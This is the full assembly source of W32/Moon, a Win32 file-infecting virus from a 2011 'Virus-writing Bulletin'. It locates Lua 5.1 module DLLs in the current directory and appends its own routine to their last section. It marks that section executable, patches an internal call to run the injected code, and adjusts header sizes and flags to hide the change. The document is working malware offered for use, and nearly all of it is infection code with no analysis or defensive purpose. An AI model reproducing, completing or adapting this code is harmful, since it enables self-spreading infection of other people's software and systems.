Virus-writing Bulletin

Presents!

W32/Moon

-
. ● glósóli ● .

.386
.model  flat, stdcall

IMAGE_DIRECTORY_ENTRY_EXPORT = 78h

.data?
STACK_REG struct
LO32_EDI       dd   ?
LO32_ESI       dd   ?
LO32_EBP       dd   ?
LO32_ESP       dd   ?
LO32_EBX       dd   ?
LO32_EDX       dd   ?
LO32_ECX       dd   ?
LO32_EAX       dd   ?
STACK_REG ends

_label  macro x
x label near
endm

assume  fs:nothing

.code
vid1_exe        proc
        pushad
        xor     ebx, ebx
        call    vid_1
        pop     eax
        pop     eax
        pop     esp
        xor     eax, eax
        pop     dword ptr fs:[eax]
        pop     eax
        popad
        ret     0ch

echo    hh86

_label  vid_1
        push    dword ptr fs:[ebx]
        mov     dword ptr fs:[ebx], esp 
        enter   sizeof WIN32_FIND_DATA + 2, 0
        mov     edi, esp
        push    edi
        db      0e8h
        dd      6
        db      2ah
        db      2eh
        db      64h
        db      6ch
        db      6ch, 0  
        call    FindFirstFile                ;find DLL files in current directory 
        xchg    ebp, eax
        db      0e8h
        dd      0bh 
        db      "lua5.1.dll"
        db      0

;-------------------------------------------------------------------------------
;load LUA 5.1 DLL if available:
;then we want luaL_openlib address: currently there is only one version of the DLL
;5.1. we can use ordinal 1a to retrive API address, but it may fail if different
;DLL for 5.1 is used 
;-------------------------------------------------------------------------------

        call    LoadLibrary                  ;do not free!
        xchg    ecx, eax
        jecxz   unload
        db      0e8h
        dd      0dh
        db      "luaL_openlib"
        db      0
        push    ecx
        call    GetProcAddress
        xchg    ebx, eax

_label  load_l
        pushad
        xor     eax, eax
        call    load_dll
        pop     eax
        pop     eax
        pop     esp
        xor     eax, eax
        pop     dword ptr fs:[eax]
        pop     eax
        popad
        push    dword ptr [ebx]
        call    FreeLibrary
        push    edi
        push    ebp
        call    FindNextFile 
        test    eax, eax
        jnz     load_l

_label  unload
        int     3

load_dll        proc
        push    dword ptr fs:[eax]
        mov     dword ptr fs:[eax], esp
        lea     ecx, dword ptr [edi + WIN32_FIND_DATA.cFileName]
        push    ecx
        call    LoadLibrary 
        xchg    ebp, eax
        push    1                            ;first export might be luaopen_MDLNAME
        push    ebp
        call    GetProcAddress
        xchg    esi, eax
        mov     edx, ebp
        add     edx, dword ptr [ebp + IMAGE_DOS_HEADER.e_lfanew]
        movzx   ecx, word ptr [edx + IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader]
        lea     ecx, dword ptr [edx + ecx + (IMAGE_NT_HEADERS.OptionalHeader - (sizeof IMAGE_SECTION_HEADER - IMAGE_SECTION_HEADER.SizeOfRawData))]
        movzx   eax, word ptr [edx + IMAGE_NT_HEADERS.FileHeader.NumberOfSections]
        imul    eax, eax, sizeof IMAGE_SECTION_HEADER
        add     ecx, eax
        mov     eax, dword ptr [ecx]
        add     eax, dword ptr [ecx + (IMAGE_SECTION_HEADER.PointerToRawData - IMAGE_SECTION_HEADER.SizeOfRawData)]
                                             ;no appended data (infection marker (extra size), attribute certificates, debug info, etc)
        cmp     dword ptr [edi + WIN32_FIND_DATA.nFileSizeLow], eax
        jne     load_exit
        push    7fh
        pop     ecx
        call    find_e8                      ;find call
        push    ebp                          ;close library now to save memory
        call    FreeLibrary
        xor     ebx, ebx
        push    ebx
        push    ebx
        push    3                            ;OPEN_EXISTING
        push    ebx
        push    3                            ;FILE_SHARE_READ + FILE_SHARE_WRITE
        push    3                            ;GENERIC_READ + GENERIC_WRITE
        lea     ecx, dword ptr [edi + WIN32_FIND_DATA.cFileName]
        push    ecx
        call    CreateFile
        push    eax
        push    eax
        push    ebx
        push    ebx
        mov     ebp, dword ptr [edi + WIN32_FIND_DATA.nFileSizeLow]
        push    ebp
        push    eax
        push    ebx
        add     ebp, 1001h
        push    ebp
        push    ebx
        push    4                            ;PAGE_READWRITE
        push    ebx
        push    eax
        call    CreateFileMapping
        push    eax
        push    ebp
        push    ebx
        push    ebx
        push    2                            ;FILE_MAP_WRITE
        push    eax
        call    MapViewOfFile
        push    eax
        call    findphys
        pop     eax
        pop     eax
        pop     esp
        xor     eax, eax
        pop     dword ptr fs:[eax]
        pop     eax
        call    UnmapViewOfFile
        call    CloseHandle
        call    SetFilePointer 
        call    SetEndOfFile 
        call    CloseHandle 

_label  load_exit
        int     3

_label  fpope8
        pop     eax
          
find_e8         proc
        lodsb
        cmp     al, 0e8h
        je      found_e8
        loop    find_e8
        int     3

_label  found_e8
        mov     eax, dword ptr [esi]
        lea     eax, dword ptr [esi + eax + 4]
        call    eip
        cmp     word ptr [eax], 25ffh
        jne     find_e8
        mov     eax, dword ptr [eax + 2]
        call    eip
        cmp     dword ptr [eax], ebx
        jne     find_e8
        mov     eax, dword ptr [esi - 0bh]
        call    eip
        sub     eax, ebp
        xchg    esi, eax
        ret

eip             proc
        cmp     eax, ebp
        jna     fpope8
        push    eax
        sub     eax, ebp
        cmp     dword ptr [edx + IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage], eax
        pop     eax
        jb      fpope8
        ret
eip             endp
find_e8         endp

require         proc
        db      68h
        dd      "v!"
        db      60h
        db      6ah
        db      30h                             ;process environment block
        pop     esi
        db      33h
        db      0d2h
        db      0e8h                            ;skip SE handler
        dd      0bh
        db      58h
        db      58h
        db      5ch
        db      33h, 0c0h
        db      64h
        db      8fh
        db      0
        db      58h
        db      61h
        ret       
        pop     eax
        push    eax
        push    dword ptr fs:[edx]
        mov     dword ptr fs:[edx], esp         ;SEH protected
        inc     eax

find_mz:
        dec     eax
        xor     ax, ax
        cmp     word ptr [eax], "ZM"
        jne     find_mz                         ;cannot get base address from PEB in infected DLL
        db      1                               ;convert to relative virtual address
        db      44h
        db      34h
        db      -((STACK_REG.LO32_EAX - STACK_REG.LO32_ESP) - (sizeof IMAGE_NT_HEADERS.OptionalHeader.ImageBase shl 1))
        db      64h
        db      0adh
        db      8bh
        db      40h
        db      0ch
        db      8bh
        db      70h
        db      14h
        db      0adh
        db      8bh
        db      0
        db      8bh
        db      68h
        db      10h
        call    skip_crc 
        dd      03fc1bd8dh
        dd      0da68238fh

;-------------------------------------------------------------------------------
;DLL name
;-------------------------------------------------------------------------------

        db      30h, 0

skip_crc:
        db      5eh
 
;-------------------------------------------------------------------------------
;walk lists
;-------------------------------------------------------------------------------

crc32   macro
        db      32h
        db      7
        db      6ah
        db      8
        db      59h
        db      0d1h
        db      0e8h
        db      73h
        db      5
        db      35h
        dd      0edb88320h
        db      0e2h
        db      0f5h
        db      47h
        db      38h
        db      0fh
        db      75h
        db      0ebh
endm

import_next:
        db      8bh
        db      45h
        db      IMAGE_DOS_HEADER.e_lfanew
        db      8bh
        db      5ch
        db      28h
        db      IMAGE_DIRECTORY_ENTRY_EXPORT
        db      3
        db      0ddh

export_next:
        db      8bh
        db      7bh
        db      IMAGE_EXPORT_DIRECTORY.AddressOfNames
        db      3
        db      0fdh
        db      8bh
        db      3ch
        db      97h
        db      0f9h
        db      1bh
        db      0c0h
        db      3
        db      0fdh
        crc32
        db      0f7h
        db      0d0h
        db      39h
        db      6
        je      l_res
        db      42h
        db      39h
        db      53h
        db      IMAGE_EXPORT_DIRECTORY.TimeDateStamp + IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint - IMAGE_EXPORT_DIRECTORY.TimeDateStamp shl 2 - sizeof IMAGE_EXPORT_DIRECTORY.NumberOfNames
        jne     export_next
        int     3

;-------------------------------------------------------------------------------
;resolve API address
;-------------------------------------------------------------------------------

l_res:
        db      8bh
        db      7bh
        db      IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
        db      3
        db      0fdh
        db      0fh
        db      0b7h
        db      3ch
        db      57h
        db      8bh
        db      43h
        db      IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
        db      3
        db      0c5h
        db      8bh
        db      4
        db      0b8h
        db      3
        db      0c5h
        db      50h
        db      0adh
        db      33h
        db      0d2h
        db      80h
        db      3eh
        db      30h
        jne     import_next
        db      8bh
        db      0dch
        db      56h
        db      0ffh, 53h, 4                 ;call LoadLibraryA
        db      50h
        db      0ffh, 13h                    ;call FreeLibrary
        int     3
require         endp

findphys        proc
        push    dword ptr fs:[ebx]
        mov     dword ptr fs:[ebx], esp
        mov     ebp, eax
        add     ebp, dword ptr [ebp + IMAGE_DOS_HEADER.e_lfanew]
        movzx   ecx, word ptr [ebp + IMAGE_NT_HEADERS.FileHeader.NumberOfSections]
        push    ecx
        movzx   ebx, word ptr [ebp + IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader]
        lea     edx, dword ptr [ebp + ebx + IMAGE_NT_HEADERS.OptionalHeader + IMAGE_SECTION_HEADER.VirtualAddress]
        mov     ebx, edx

_label  find_s
        push    esi
        sub     esi, dword ptr [edx]
        cmp     dword ptr [edx - sizeof IMAGE_SECTION_HEADER.Misc.VirtualSize], esi
        pop     esi
        jnb     found_s
        add     edx, sizeof IMAGE_SECTION_HEADER
        loop    find_s
        int     3

_label  found_s
        sub     esi, dword ptr [edx]
        add     esi, dword ptr [edx + (IMAGE_SECTION_HEADER.PointerToRawData - IMAGE_SECTION_HEADER.VirtualAddress)]
        lea     esi, dword ptr [esi + eax + sizeof IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint]
        pop     ecx
        imul    ecx, ecx, sizeof IMAGE_SECTION_HEADER
        lea     ebx, dword ptr [ebx + ecx - (sizeof IMAGE_SECTION_HEADER + IMAGE_SECTION_HEADER.VirtualAddress)]
        mov     edi, dword ptr [ebx + IMAGE_SECTION_HEADER.PointerToRawData]
        add     edi, dword ptr [ebx + IMAGE_SECTION_HEADER.SizeOfRawData]
        add     edi, eax
        push    edi
        push    esi
        mov     esi, offset require
        db      6ah, not (low (offset findphys - offset require))
        pop     ecx
        not     cl
        rep     movsb
        or      dword ptr [ebx + IMAGE_SECTION_HEADER.Characteristics], IMAGE_SCN_MEM_EXECUTE
        mov     ecx, dword ptr [ebx + IMAGE_SECTION_HEADER.VirtualAddress]
        add     ecx, dword ptr [ebx + IMAGE_SECTION_HEADER.SizeOfRawData]
        add     ecx, dword ptr [ebp + IMAGE_NT_HEADERS.OptionalHeader.ImageBase]
        pop     esi
        xchg    dword ptr [esi], ecx
        sub     ecx, dword ptr [ebp + IMAGE_NT_HEADERS.OptionalHeader.ImageBase]
        pop     edi
        mov     dword ptr [edi + 1], ecx
        xor     ecx, ecx
        mov     ch, 10h
        stc
        adc     dword ptr [esp + sizeof STACK_REG.LO32_ESP + 14h], ecx
        add     dword ptr [ebx + IMAGE_SECTION_HEADER.SizeOfRawData], ecx
        add     dword ptr [ebx + IMAGE_SECTION_HEADER.Misc.VirtualSize], ecx
        add     dword ptr [ebp + IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage], ecx
        and     byte ptr [ebp + IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics + 1], 0f0h
        xor     ecx, ecx
        mov     dword ptr [ebp + 0c8h], ecx
        int 3
findphys        endp
load_dll        endp
vid1_exe        endp
end     vid1_exe
Virus-writing Bulletin 2011